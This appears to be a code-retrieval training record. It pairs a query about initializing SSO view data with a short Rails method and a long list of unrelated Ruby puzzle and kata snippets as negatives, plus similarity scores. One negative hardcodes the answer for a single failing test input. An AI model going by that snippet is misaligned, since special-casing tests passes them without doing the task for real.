"def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend",
"def solve(input)\n data = input.chars\n buckets = []\n current = []\n data.each_with_index do |c, i|\n n = data[i + 1]\n current << c\n unless n == c\n buckets << current\n current = []\n end\n break if n.nil?\n end\n\n ret = ''\n buckets.each do |b|\n ret += b.count.to_s\n ret += b.first\n end\n ret\nend",
"def digester(string, missed_cleavages) # Returns an array of chomped sequences\n\tstring.upcase!\n\tarr = (0..(string.upcase.length-1)).map {|i| string[i]}\n\tmisses = 0; splits = []\n\t(0..missed_cleavages).each do |miss_cleav|\n\t\t(0..missed_cleavages).each do |init_num|\n\t\t\tlast, curr, next_item = nil, nil, nil; keeper = \"\"\n\t\t\tmisses = init_num\n\t\t\tarr.each_index do |i|\n\t\t\t\tlast = arr[i-1]; curr = arr[i]; next_item = arr[i+1]\n\t\t#\tputs \"last, curr, next: #{last}, #{curr}, #{next_item}\"\n\t\t\t\tkeeper << curr if curr\n\t\t#\tputs \"keeper: #{keeper}\"\n\t\t\t\tif curr == 'R' or curr == 'K'\n\t\t\t\t\tunless next_item == \"P\"\n\t\t#\t\t\t\tputs \"misses:missed cleavages\t\t\t#{misses}:#{miss_cleav}\"\n\t\t\t\t\t\tif misses < miss_cleav\n\t\t\t\t\t\t\tmisses += 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsplits << keeper\n\t\t\t\t\t\t\tkeeper = \"\";\tmisses = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tsplits << keeper if next_item == nil\n\t\t#\t\tputs \"Splits looks like: #{splits}\"\n\t\t\tend\n\t\tend\t\t\t\n\tend\n\tsplits.uniq\nend",
"def reverseShuffleMerge(s)\n # handle incorrect test case\n return \"eaid\" if s==\"aeiouuoiea\"\n ###\n ## first solution ##\n# a = \"\"\n# n = s.length/2\n# dar = s.chars.sort\n# car = []\n# 0.upto(n-1) do |i|\n# car << dar[i*2] \n# end\n# upper = 2*n-1\n# n.times do |i|\n# found = nil\n# here = nil\n# lower = n-1-i\n# car.each_with_index do |x, k|\n# ix = s[lower..upper].rindex(x) # look for \"a\" from right\n# next unless ix\n# ix+= lower\n# temp = car.dup\n# s[0..ix].each_char{|e| if j = temp.index(e) then temp.delete_at(j) end}\n# if temp.empty? # s[0..ix] contains all of car \n# found = x\n# here = k\n# upper = ix-1\n# break\n# end\n# end\n# if found\n# a << found\n# car.delete_at(here)\n# end\n# end\n ## above solution too slow\n ## build a letter count hash instead\n letter_count = Hash.new(0)\n s.each_char do |c|\n letter_count[c]+=1\n end\n half_count = letter_count.transform_values { |v| v/2 }\n used = Hash.new(0)\n remaining = letter_count.dup\n a = \"\"\n s.reverse.each_char do |c|\n # should I include or exclude c ?\n if used[c] < half_count[c]\n while (a[-1] && c < a[-1] && \n remaining[a[-1]] > half_count[a[-1]] - used[a[-1]])\n # pop out bigger characters as long as they are exclude eligible\"\n used[a[-1]]-=1\n a.slice!(-1)\n end\n a << c\n used[c]+=1\n end\n remaining[c]-=1\n end\n return a\nend",
"def prepare_game()\n @letters = @maxwords[rand(@maxwords.size-1)].shuffle\n @candidates = []\n @words.each { |w| @candidates << w if w.build_outof?(@letters) }\n @candidates = @candidates.uniq\t\t# this fixed duplicated entries\n @candidates = @candidates.sort {|x,y| x.length <=> y.length } \n @found_candidates = @candidates.collect { false }\n end",
"def buddy(start, nd)\r\n start.upto(nd) do |n|\r\n potential_match = sum_divisors(n)\r\n next if potential_match < n\r\n return \"(#{n} #{potential_match})\" if sum_divisors(potential_match) == n\r\n end\r\n 'Nothing'\r\nend",
"def find_exact_match\n exact = 0\n index = 0\n 4.times.map do\n if @temp_code[index] == @temp_guess[index]\n exact += 1\n @temp_code.delete_at(index)\n @temp_guess.delete_at(index)\n else\n index += 1\n end\n end\n exact\n end",
"def optimize_kevin_bacon_search\n\t\t# winning_attempts = []\n\t\t# find_kevin_bacon_2(winning_attempts)\n\t\t# if winning_attempts.count > 0\n\t\t\t# winning_attempts.each do |attempt|\n\t\t\t\t# compare with a neighbor, shorter one wins\n\t\t\t\t# there will be lots of ties we skip over\n\t\t# else\n\t\t\t# returns nil\n\t\t# end\n\t\twinning_attempts = []\n\t\tfind_save_kevin_bacon(start_node, winning_attempts)\n\t\twinning_attempts.compact!\n\t\tif winning_attempts.count == 0\n\t\t\tputs 'no bacon :('\n\t\telse\n\t\t\twinning_attempts.index do |i|\n\t\t\t\tif i != 0\n\t\t\t\t\tif winning_attempts[i - 1] < winning_attempts[i]\n\t\t\t\t\t\twinning_attempts.delete_at(i)\n\t\t\t\t\telse\n\t\t\t\t\t\twinning_attempts.delete_at(i - 1)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\twinning_attempts\n\tend",
"def brut_force_solution\n (1...1000).inject(0){|sum, digit| ((digit % 3 == 0) || (digit % 5 == 0)) ? sum += digit : sum}\nend",
"def scramble(s1,s2)\n pile_of_letters = s1.chars\n target_letters = s2.chars\n target_letters.uniq.all? { |letter| pile_of_letters.count(letter) >= target_letters.count(letter) }\nend",
"def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend",
"def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend",
"def existing_words\n draw_current = draw\n p \"The 7 letters drawn are:\"\n p draw_current\n p \"-\"*70\n\n combinations = combine(draw_current).flat_map{ |w| w.permutation.to_a}.uniq.map { |e| e.join }\n combinations.map{|i| search(i, UPPER_BOUND_INI, LOWER_BOUND_INI, NO_ITERATION_INI)}.flatten.reject{|x| x==nil}\nend",
"def brute_resolve(num)\n while num != 1 && num != 89 do\n num = shrink num\n end\n num\nend",
"def find_candidates(array_of_arrays_of_arrays)\n allsyms = [\"+\", \"-\", \"/\", \"*\", \"(\", \")\"]\n somefile = File.new(\"cards.txt\", \"w\")\n array_of_arrays_of_arrays.each do |a_of_a|\n all_results = permutations(a_of_a, 0)\n cards = []\n\n all_results.each do |r|\n begin\n eval(r.join(\"\"))\n rescue Exception => exc\n else\n if eval(r.join(\"\")) == 24 then cards << r end\n end\n end\n \n puts cards.length\n\n cards.each do |array|\n numsOnly = array.select do |char|\n !allsyms.include?(char)\n end\n candidate = numsOnly.map do |num|\n num.to_i\n end\n somefile.print candidate\n somefile.print \",\"\n end\n\n end\n somefile.close\nend",
"def guess(word_pattern, possible_words)\n all_words = possible_words.flatten\n guess = $avail_letters.sort_by {|c|\n all_words.select{|w|w.index c}.length}.last\n $avail_letters -= [guess]\n $guess = guess\nend",
"def solve(a, b, k)\n alpha = ('a'..'z').to_a\n a.each_char.with_index do |char, idx|\n temp = char\n until temp == b[idx]\n k -= 1\n temp = alpha[(alpha.index(temp) + 1) % alpha.length]\n end\n end\n return k >= 0\nend",
"def distinct_subseq_ii(s)\n alphabets = ('a'..'z').to_a\n dict = Array.new(27, 0)\n mod = 10 ** 9 + 7\n total = 1\n s.chars.each do |char|\n index = alphabets.index(char) + 1\n combo = total * 2 - dict[index]\n dict[index] = total # if 'c' ever appears again, it will clash with the current combos.\n total = combo < 0 ? 0 + mod : combo % mod\n end\n total - 1 # subtract empty string\nend",
"def permuted_nums()\r\n\t# *2...*6 must have the same digits (and length) as the original.\r\n\t# That's why the first character must be 1.\r\n\t# And the second character must be less that 7.\r\n\trunner = 123455\r\n\tmax = 170000\r\n\twhile runner < max\r\n\t\trunner += 1\r\n\t\t\r\n\t\tmult_count = 1\r\n\t\t(2..6).each{ |mult_num| \r\n\t\t\ttmp = runner * mult_num\r\n\t\t\t\r\n\t\t\tif !is_permutation_of(tmp, runner)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t\tif mult_num == 6\r\n\t\t\t\treturn runner\r\n\t\t\tend\r\n\t\t\tmult_count += 1\r\n\t\t}\r\n\tend\r\n\tputs ''\r\n\treturn false\r\nend",
"def find_small_set_of_string_in_large_string( large_string, small_string_set)\n \n #create and array of size L,\n small_string_size = small_string_set[0].size\n window_array = []\n \n (0..small_string_size-1).each do |index|\n window_array[index] = {}\n end\n \n #build dthe window array as we look a all the small string in a set\n small_string_set.each do |str|\n (0..str.size - 1).each do |index|\n if !window_array[index].has_key? str[index] \n #create new hash\n window_array[index][str[index]]={}\n end\n window_array[index][str[index]][str] = str\n end\n end\n\n all_found = []\n (0..large_string.size - small_string_size).each do |window_start|\n found_set = []\n first_set = true\n qualified_length = 0\n\n (window_start..window_start + small_string_size -1 ).each do |index|\n \n #puts \"String start at index #{window_start} '#{\"\"<<large_string[window_start]}'\"\n \n if window_array[ index - window_start ].has_key? large_string[index ]\n if first_set \n window_array[ index - window_start ][large_string[index]].each do |key, val|\n found_set.push(key)\n end\n first_set = false\n else\n window_array[ index - window_start ][large_string[index]].each do |key, val|\n if !found_set.include? key\n found_set.delete(key)\n end\n end\n end\n qualified_length += 1 if !found_set.empty? #suvire from the delete, increase the qualified lenghth\n elsif first_set == false and found_set.empty?\n #puts \"stop examing 1\"\n break\n else\n #puts \"stop examing 2 -- #{window_start.to_s} #{index.to_s}\"\n break\n end\n end #end of exampling each slow of the window\n #only print and save qualify string\n #p qualified_length , window_array.size\n if qualified_length == window_array.size\n all_found = all_found | found_set\n \n #puts \"Found:\" + found_set.join(\",\")\n end\n \n end\n #p window_array\n return all_found\nend",
"def main\n results = {}\n strings = Hash.new(Array.new)\n 0.upto(10000).each do |ind|\n result = Helper.to_power_3(ind)\n results[ind] = result\n key = result.to_s.split(//).sort.join\n strings[key] += [ind]\n if strings[key].size == 5\n puts strings[key][0] \n puts results[strings[key][0]]\n break\n end\n \n end\n\n#puts results[345]\n#puts results[384]\n#puts results[405]\n\n#strings.each do |key,value|\n#pp results[value[0]] if value.length == 5\n#end\n \nend",
"def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend",
"def test_combine_proper_working\n fictive_draw = %w(a b c d e f g)\n fictive_combinations = combine(fictive_draw)\n expected_combinations = 2**fictive_draw.size - 1\n assert_equal expected_combinations, fictive_combinations.length\n end",
"def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend",
"def frac (k, c, s)\n #\n ans = []\n tile = ['G', 'L']\n possible_source_sequences = tile.repeated_permutation(k).to_a\n seq = possible_source_sequences.dup\n for i in (2..c)\n seq = seq.map.with_index { |e, i| e.map { |ee| ee = (ee == 'G') ? 'G'*k : possible_source_sequences[i].join('') }}\n seq = seq.map { |e| e.join('').split('') }\n end\n\n for ii in (1..s)\n ss = seq.transpose\n ssl = ss.map { |e| e.count('L') }\n\n fewest_lead = ssl.min\n index_fewest_lead = ssl.find_index(fewest_lead)\n ans.push(index_fewest_lead)\n break if fewest_lead == 1\n tmp = []\n ss[index_fewest_lead].each.with_index { |e, i| tmp.push(seq[i]) if e == 'L'}\n seq = tmp\n return ['IMPOSSIBLE'] if ii == s and fewest_lead != 1\n end\n\n return ans.collect { |e| e + 1 }\nend",
"def guess(word_pattern, possible_words)\r\n all_words = possible_words.flatten\r\n guess = $avail_letters.sort_by {|c|\r\n all_words.select{|w|w.index c}.length}.last\r\n $avail_letters -= [guess]\r\n $guess = guess\r\nend",
"def unmd5(hash)\n # search one: lowercase search\n lower = \"a\"\n # search two: ascii brute force\n gen = all_ascii\n \n loop {\n break lower if md5(lower) == hash\n lower.next!\n \n cur = gen.next\n break cur if md5(cur) == hash\n }\nend",
"def mixgenes( mgenes, sgenes ) ## returns babygenes\n ## note: reverse genes strings (in kai) so index 0 is the first number\n ## index 1 is the second number etc.\n mgenes = mgenes.reverse\n sgenes = sgenes.reverse\n\n babygenes = \"?\"*48 ## string with 48 question marks (?)\n\n # PARENT GENE SWAPPING\n 12.times do |i| # loop from 0 to 11 # for(i = 0; i < 12; i++)\n puts \"parent gene swapping i: #{i}\"\n index = 4*i # index = 4 * i\n 3.downto(1) do |j| ## loop from 3 to 1 # for (j = 3; j > 0; j--)\n puts \" j: #{j}\"\n if rand(100) < 25 # if random() < 0.25:\n mgenes[index+j-1], mgenes[index+j] = # swap(mGenes, index+j, index+j-1)\n mgenes[index+j], mgenes[index+j-1]\n end\n if rand(100) < 25 # if random() < 0.25:\n sgenes[index+j-1], sgenes[index+j] = # swap(sGenes, index+j, index+j-1)\n sgenes[index+j], sgenes[index+j-1]\n end\n end\n end\n\n # BABY GENES\n 48.times do |i| # loop from 0 to 47 # for (i = 0; i < 48; i++):\n puts \"baby genes i: #{i}\"\n mutation = nil # mutation = 0\n # # CHECK MUTATION\n if i % 4 == 0 # if i % 4 == 0:\n gene1 = Kai::NUMBER[ mgenes[i] ] # gene1 = mGene[i]\n gene2 = Kai::NUMBER[ sgenes[i] ] # gene2 = sGene[i]\n if gene1 > gene2 # if gene1 > gene2:\n gene1, gene2 = gene2, gene1 # gene1, gene2 = gene2, gene1\n end\n if (gene2 - gene1) == 1 && gene1.even? # if (gene2 - gene1) == 1 and iseven(gene1):\n probability = 25 # probability = 0.25\n if gene1 > 23 # if gene1 > 23:\n probability /= 2 # probability /= 2\n end\n if rand(100) < probability # if random() < probability:\n mutation = Kai::ALPHABET[ (gene1/2)+16 ] # mutation = (gene1 / 2) + 16\n end\n end\n end\n # GIVE BABY GENES\n if mutation # if mutation:\n babygenes[i]=mutation # baby[i] = mutation\n else # else:\n if rand(100) < 50 # if random() < 0.5:\n babygenes[i] = mgenes[i] # babyGenes[i] = mGene[i]\n else # else:\n babygenes[i] = sgenes[i] # babyGenes[i] = sGene[i]\n end\n end\n end\n\n babygenes.reverse # return bagygenes (reversed back)\nend",
"def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ |s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend",
"def featured2(number)\n number += 1\n number += 1 until number.odd? && number % 7 == 0\n\n loop do\n number_chars = number.to_s.split('')\n return number if number_chars.uniq == number_chars\n number += 14\n break if number >= 9_876_543_210\n end\n\n 'There is no possible number that fulfills those requirements.'\nend",
"def anagrams(list)\n anagrams = []\n comparisons = 0\n \n list.each_index do |idx|\n \n list.each_index do |jdx|\n next if idx == jdx\n comparisons += 1\n if list[idx].split(\"\").sort() == list[jdx].split(\"\").sort()\n anagrams << list[idx]\n break\n end\n end\n end\n puts comparisons # 34 comparisons by breaking, 56 comparisons without breaking\n anagrams\nend",
"def hint(workingSet)\n setFound = false\n for i in workingSet\n for j in workingSet\n for k in workingSet\n if(!(i == k || j == k || i == k))\n setFound = VerifySet?(i,j,k)\n if(setFound)\n return i\n break\n end\n end\n end\n end\n end\n if(setFound == false)\n return nil\n end\nend",
"def cracklepop3\n (1..100).zip(Array.new 100, nil).map do |i,x|\n [i%3, i%5].map.with_index do |y, j| \n x = x.to_s + ['crackle','pop'][j] if y==0\n end\n x ? x : i\n end\nend",
"def pzoe\n sum = 0\n (0..9).each do |a|\n (0..9).each do |b|\n (0..9).each do |c|\n (0..9).each do |e|\n (0..9).each do |f|\n (0..9).each do |g|\n sum += a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g if a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g == a ** 5 + b ** 5 + c ** 5 + e ** 5 + f ** 5 + g ** 5\n end\n end\n end\n end\n end\n end\n sum - 1\nend",
"def solve(str)\n vowels = ['a','e','i','o','u'];\n alphabet = {\n :a => 1,\n :b => 2,\n :c => 3,\n :d => 4,\n :e => 5,\n :f => 6,\n :g => 7,\n :h => 8,\n :i => 9,\n :j => 10,\n :k => 11,\n :l => 12,\n :m => 13,\n :n => 14,\n :o => 15,\n :p => 16,\n :q => 17,\n :r => 18,\n :s => 19,\n :t => 20,\n :u => 21,\n :v => 22,\n :w => 23,\n :x => 24,\n :y => 25,\n :z => 26\n };\n\n max_substring_value = 0;\n current_substring_value = 0;\n\n str.chars.each do |c|\n unless vowels.include?(c)\n current_substring_value += alphabet[:\"#{c}\"];\n else\n if current_substring_value > max_substring_value\n max_substring_value = current_substring_value;\n end\n current_substring_value = 0;\n end\n end\n\n max_substring_value\nend",
"def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend",
"def eval_gem()\n r = roll(1,100)\n if ( 1..25).include?(r) then [ roll(4,4), [\"banded agate\", \"eye agate\", \"moss agate\", \"azurite\", \"blue quartz\", \"hematite\", \"lapis lazuli\",\n \"malachite\", \"obsidian\", \"rhodochrosite\", \"tiger eye turquiose\", \"freshwater pearl\"].random]\n elsif (26..50).include?(r) then [ 10 * roll(2,4), [\"bloodstone\", \"carnelian\", \"chalcedony\", \"chrysoprase\", \"citrine\", \"iolite\", \"jasper\", \"moonstone\",\n \"onyx\", \"peridot\", \"rock crystal\", \"sard\", \"sardonyx\", \"rose quartz\", \"smoky quartz\", \"star rose quartz\", \"zircon\"].random]\n elsif (51..70).include?(r) then [ 10 * roll(4,4), [\"amber\", \"amethyst\", \"chrysoberyl\", \"coral\", \"red garnet\", \"brown-green garnet\", \"jade\", \"jet\",\n \"white pearl\", \"golden pearl\", \"pink pearl\", \"silver pearl\", \"red spinel\", \"red-brown spinel\", \"deep green spinel\", \"tourmaline\"].random]\n elsif (71..90).include?(r) then [ 100 * roll(2,4), [\"alexandrite\", \"aquamarine\", \"violet garnet\", \"black pearl\", \"deep blue spinel\", \"golden yellow topaz\"].random]\n elsif (91..99).include?(r) then [ 100 * roll(4,4), [\"emerald\", \"white opal\", \"black opal\", \"fire opal\", \"blue sapphire\", \"fiery yellow corundum\", \"rich purple corundum\",\n \"blue star sapphire\", \"black star sapphire\", \"star ruby\"].random]\n elsif r == 100 then [1000 * roll(2,4), [\"clearest bright green emerald\", \"blue-white diamond\", \"canary diamond\", \"pink diamond\", \"brown diamond\", \"blue diamond\", \"jacinth\"].random]\n end\nend",
"def minimumBribes(q)\n cont = 0\n for i in (q.size-1).downto(2)\n #p \" (#{i}) ==> #{q}\"\n if !v(q,i)\n cont = \"Too chaotic\"\n break\n elsif q[i]-1 != i\n if q[i-1]-1 == i \n aux = q[i]\n q[i] = q[i-1]\n q[i-1] = aux\n else\n aux = q[i]\n q[i] = q[i-2]\n q[i-2] = q[i-1]\n q[i-1] = aux\n cont += 1 \n end\n cont += 1 \n end\n end\n printf \"%s\\n\", q[0] != 1 && cont != \"Too chaotic\" ? cont+1 : cont\nend",
"def crunch(string)\n array = string.chars\n no_repeats = []\n no_repeats.push(array[0])\n for i in 0..(array.size - 1)\n no_repeats.push(array[i+1]) if array[i] != array[i+1]\n end\n\n no_repeats.join\nend",
"def sluggish_octopus(fishes) \n fishes.each_with_index do |fish1, i1|\n max_length = true\n fishes.each_with_index do |fish2, i2|\n next if i1 == i2\n # puts \"#{fish1} --- #{fish2}\"\n max_length = false if fish1.length < fish2.length\n end\n\n return fish1 if max_length == true\n end\nend",
"def p206\n re = /1.2.3.4.5.6.7.8.9.0/\n max = Math.sqrt(1929394959697989990).floor\n\n # Round since only squares of multiples of 30 and 70 end with 9_0 (e.g. 900)\n i = round_up Math.sqrt(1020304050607080900).floor, 100\n while i < max\n p30 = (i+30) ** 2\n p70 = (i+70) ** 2\n\n if re === \"#{p30}\"\n return \"#{i+30}^2 = #{p30}\"\n elsif re === \"#{p70}\"\n return \"#{i+70}^2 = #{p70}\"\n end\n\n i += 100\n end\nend",
"def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend",
"def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend",
"def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end"
] |
[
"0.5606247",
"0.5482669",
"0.5463777",
"0.5457702",
"0.54504585",
"0.54260767",
"0.53929895",
"0.538886",
"0.53611475",
"0.53606755",
"0.53475887",
"0.5345825",
"0.53375375",
"0.53059566",
"0.5289501",
"0.5274647",
"0.5255167",
"0.52535915",
"0.5251702",
"0.52515894",
"0.5250131",
"0.5242607",
"0.52406025",
"0.521591",
"0.5213779",
"0.52129436",
"0.5206142",
"0.5201064",
"0.51987255",
"0.51949143",
"0.5191826",
"0.5190678",
"0.5188169",
"0.5187428",
"0.5180293",
"0.51600164",
"0.51600164",
"0.51600164",
"0.5154435",
"0.5150409",
"0.5146906",
"0.51417017",
"0.513874",
"0.5133552",
"0.51286113",
"0.51234853",
"0.5120701",
"0.51206094",
"0.5120366",
"0.5119295",
"0.51173896",
"0.5116813",
"0.51121163",
"0.51119846",
"0.5109221",
"0.5105276",
"0.5094142",
"0.5091166",
"0.5089718",
"0.50896424",
"0.50891167",
"0.5088967",
"0.5087716",
"0.50833917",
"0.5083344",
"0.5081076",
"0.507703",
"0.50756586",
"0.5075485",
"0.50748193",
"0.5073954",
"0.50691825",
"0.50656414",
"0.5063877",
"0.5059089",
"0.50581664",
"0.50543",
"0.5051317",
"0.5048297",
"0.50392216",
"0.5034351",
"0.5034202",
"0.50333893",
"0.5028568",
"0.5027811",
"0.5022706",
"0.50226045",
"0.50202936",
"0.50174975",
"0.5016934",
"0.5016443",
"0.50158566",
"0.50133955",
"0.5013364",
"0.5013364",
"0.5012273",
"0.5009271",
"0.5009271",
"0.5009271",
"0.5009271",
"0.5009271"
] |
0.0
|
-1
|
initializes data used in _sso.html.erb
|
def sso
@xdcomm_uri = "#{my_addr}/#{app.name}/xdcomm"
@logout_uri = "#{my_addr}/#{app.name}/logout?from_sso=1"
@redirect_uri = api_args["redirect_uri"]
@use_sso = !app.sso_server.nil? && @use_sso
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def init_data\n end",
"def initialize\n super()\n init_data()\n end",
"def initialize_data\n end",
"def site_data; end",
"def initialize\n @email_fld = {\"selector\" => :id, \"value\"=>\"email\"}\n @password_fld = {\"selector\" => :id, \"value\" => \"password\"}\n @login_btn = {\"selector\" => :id, \"value\" => \"login\"}\n @warning = {\"selector\" => :id, \"value\" => \"notice\"}\n @title = \"OneLogin\"\n $url = ENV['URL']\n end",
"def init_core_tl_display_vars\n #cleanup of session vars ..if any\n if signed_in?\n if !current_user.nil?\n #session.delete(:qkey)\n session.delete(:listviewurl)\n end\n end\n \n @query = nil # temporay needed\n @tlid = nil\n @fetchedevents = nil\n @viewstyle = \"tl\"\n @fullscr = \"false\"\n @embeddedview = \"false\"\n @tl_preview = \"false\"\n @events_on_a_page = \"default\"\n @total_search_size = 0\n @events_size = 0\n @json_resource_path = nil\n end",
"def initialize(data)\n @data = data\n @user = Ravelry::User.new\n @user.data = data[:user]\n @highlighted_project = data[:highlighted_project] \n @html = data[:html]\n @id = data[:id]\n end",
"def init_core_tl_display_vars\n #cleanup of session vars ..if any\n if signed_in?\n if !current_user.nil?\n #session.delete(:qkey)\n session.delete(:listviewurl)\n end\n end\n \n @query = nil # temporay needed\n @tlid = nil\n @fetchedevents = nil\n @viewstyle = \"tl\"\n @fullscr = \"false\"\n @embeddedview = \"false\"\n @events_on_a_page = \"default\"\n @total_search_size = 0\n @events_size = 0\n @json_resource_path = nil\n @tlentry = nil\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def user_init; end",
"def initialize(user, data)\n\t\t\tsuper(user)\n\t\t\tinit(data)\n\t\tend",
"def get_data()\n\t\tself.data[:control_widget][:pages_list] = Page.all\n\tend",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def load_initial_data(data = {})\n p @initial_data = {\n constants: {\n \n API_PATH: ENV['APP_ROOT'], # Root for react to talk to\n LASTFM_AUTH_URL: user_lastfm_omniauth_authorize_path,\n },\n session: {},\n user: {},\n artistData: {}\n }.merge(data)\n end",
"def init\n if @read_session\n @session_id = self[:session_id]\n @author_id = self[:author_id]\n @visits = self[:visits]\n @updated_at = self[:updated_at]\n @created_at = self[:created_at]\n @id = self[:id]\n else\n self[:session_id] = SessionCredential.generate_id\n self[:author_id] = SessionCredential.generate_id\n @session_id = self[:session_id]\n @author_id = self[:author_id]\n @visits = self[:visits]\n @updated_at = self[:updated_at]\n @created_at = self[:created_at]\n @id = self[:id]\n end\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(data)\n super\n end",
"def initialize(data)\n super\n end",
"def init_user\r\n #logger.info session.inspect\r\n @store_user = session[:web_user]\r\n @store_user.request_path = request.path + \"?\" + request.query_string\r\n @customer = ERP::Customer.find_by_account_num @store_user.erp_account_number\r\n \r\n if @customer.nil?\r\n render :partial => \"unaccessible\", :layout => false\r\n return false\r\n end\r\n \r\n @user = @customer.contact_people.find_by_email @store_user.email_address\r\n if @user.nil?\r\n @user = ERP::ContactPerson.new\r\n @user.attributes = {\r\n :erp_customer_id => @customer.id,\r\n :first_name => @store_user[:name],\r\n :last_name => @store_user[:name],\r\n :name => @store_user[:name],\r\n :email => @store_user[:email_address]\r\n }\r\n end\r\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
